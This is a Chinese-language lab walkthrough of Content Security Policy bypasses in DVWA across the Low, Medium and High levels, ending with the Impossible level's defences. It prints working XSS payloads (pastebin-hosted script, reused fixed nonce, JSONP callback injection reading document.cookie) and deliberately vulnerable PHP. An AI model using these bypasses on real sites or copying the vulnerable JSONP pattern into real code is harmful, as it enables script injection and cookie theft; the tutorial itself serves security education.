DVWA靶场CSP绕过详解:从原理到实战
1 CSP安全策略概述
内容安全策略(Content Security Policy,简称CSP)是一种重要的Web安全机制,用于检测和缓解跨站脚本(XSS)和数据注入等攻击。CSP的实质是白名单制度,开发者通过配置告诉浏览器哪些外部资源可以加载和执行,从而减少攻击面。
1.1 CSP的工作原理
CSP通过HTTP响应头或HTML meta标签指定策略规则。当浏览器接收到这些策略后,会只执行或渲染符合策略的资源,违反策略的行为会被阻止并报告。
CSP指令示例:
Content-Security-Policy: script-src 'self' https://trusted.com; object-src 'none'; style-src cdn.example.org third-party.org
这个策略表示:
script-src 'self' https://trusted.com
:只允许从同源和https://trusted.com加载脚本object-src 'none'
:禁止加载所有插件(如Flash)style-src cdn.example.org third-party.org
:只允许从指定域名加载样式表
1.2 启用CSP的两种方法
通过HTTP响应头(最常用):
<?php $headerCSP = "Content-Security-Policy: script-src 'self';"; header($headerCSP); ?>
通过HTML meta标签:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org;">
2 DVWA环境搭建
DVWA(Damn Vulnerable Web Application)是一个专门用于Web安全练习的PHP/MySQL应用程序。要搭建DVWA环境,您需要:
- 从官网下载DVWA安装包
- 解压到Web服务器目录(如Apache的htdocs目录)
- 配置数据库连接(config/config.inc.php)
- 在浏览器中访问DVWA,创建数据库
- 登录(默认用户名/密码:admin/password)
DVWA提供了四个安全级别,从完全无防护到近乎完美防护:
- Low:无任何防护措施
- Medium:基础防护(如转义特殊字符)
- High:较强防护(如限制输入类型)
- Impossible:近乎完美的防护
3 Low级别绕过详解
3.1 漏洞分析
Low级别的CSP策略允许从多个外部域名加载脚本:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;";
header($headerCSP);
?>
这些被信任的网站中,pastebin.com是一个可以自由创建和分享文本内容的网站,用户可以上传任意JavaScript代码并获取原始链接。
3.2 绕过步骤
- 访问pastebin.com(或其他白名单中的站点)
创建恶意JavaScript代码:
alert("CSP Bypass - Low Level");
- 保存并获取原始链接:点击"Create New Paste"然后获取"raw"链接,如:
https://pastebin.com/raw/R570EE00
- 在DVWA中输入链接:提交后恶意脚本被执行
3.3 安全威胁
攻击者可以将恶意代码存储在受信任的网站上,然后通过钓鱼邮件或社交工程诱导用户访问包含此链接的页面,实现XSS攻击。
4 Medium级别绕过详解
4.1 漏洞分析
Medium级别的CSP策略发生了变化:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
header("X-XSS-Protection: 0"); // 禁用XSS保护
?>
这个策略包含两个关键元素:
'unsafe-inline'
:允许执行页面内嵌的<script>
标签和事件处理程序'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='
:仅允许特定的内联脚本块执行
4.2 绕过步骤
直接使用源码中提供的payload即可绕过:
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("CSP Bypass - Medium Level");</script>
4.3 安全威胁
nonce值的不当使用使得攻击者可以轻松绕过保护。nonce值应该是每次请求随机生成的,而不是固定的。固定nonce值相当于给攻击者提供了一把万能钥匙。
5 High级别绕过详解
5.1 漏洞分析
High级别的CSP策略更加严格,只允许同源脚本:
<?php
$headerCSP = "Content-Scurity-Policy: script-src 'self';";
header($headerCSP);
?>
页面通过JSONP(JSON with Padding)技术从外部获取数据:
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
5.2 JSONP漏洞利用
JSONP接口source/jsonp.php
存在漏洞,未对callback参数进行过滤:
<?php
header("Content-Type: application/json; charset=UTF-8");
if (array_key_exists("callback", $_GET)) {
$callback = $_GET['callback'];
} else {
return "";
}
$outp = array("answer" => "15");
echo $callback . "(".json_encode($outp).")";
?>
5.3 绕过步骤
直接修改callback参数:
http://<DVWA-IP>/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie);//
返回的响应变为:
alert(document.cookie);//({"answer":"15"})
利用XSS漏洞注入恶意请求:
d=document; h=d.getElementsByTagName('head').item(0); s=d.createElement('script'); s.setAttribute('src','/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie);//'); h.appendChild(s);
5.4 安全威胁
JSONP接口的不安全实现允许攻击者执行任意代码,这是一种常见且危险的安全漏洞,特别是在CSP策略较严格的情况下。
6 Impossible级别防护分析
Impossible级别提供了近乎完美的防护:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
// 页面代码...
?>
<script src="source/impossible.js"></script>
JSONP接口也被修复,不再使用用户控制的callback参数:
<?php
header("Content-Type: application/json; charset=UTF-8");
$outp = array("answer" => "15");
echo "solveSum (".json_encode($outp).")";
?>
6.1 防护要点
- 严格的CSP策略:只允许同源脚本,不包含任何不安全指令
- 避免使用用户可控的callback参数:服务器端固定函数名
- 输入验证和输出编码:对所有用户输入进行严格过滤
总结
通过DVWA的CSP绕过实验,我们可以得出以下结论:
- CSP是一个强大的安全机制,但配置不当会导致被绕过
- 任何可信域的加入都需要谨慎,特别是允许用户内容的外部域
- nonce值必须随机且不可预测,固定nonce值几乎等同于没有保护
- JSONP接口需要严格过滤,避免成为绕过CSP的入口点
- 多层防御是最有效的:CSP应该与其他安全措施(如输入验证、输出编码)结合使用
最重要的是:CSP不是万能的,它只是Web应用安全的一部分。开发者应该采用纵深防御策略,结合多种安全措施,才能构建真正安全的Web应用程序。
免责声明:本文仅用于教育目的和安全研究,请勿用于非法用途。对于任何滥用本文所述技术的行为,作者不承担任何责任。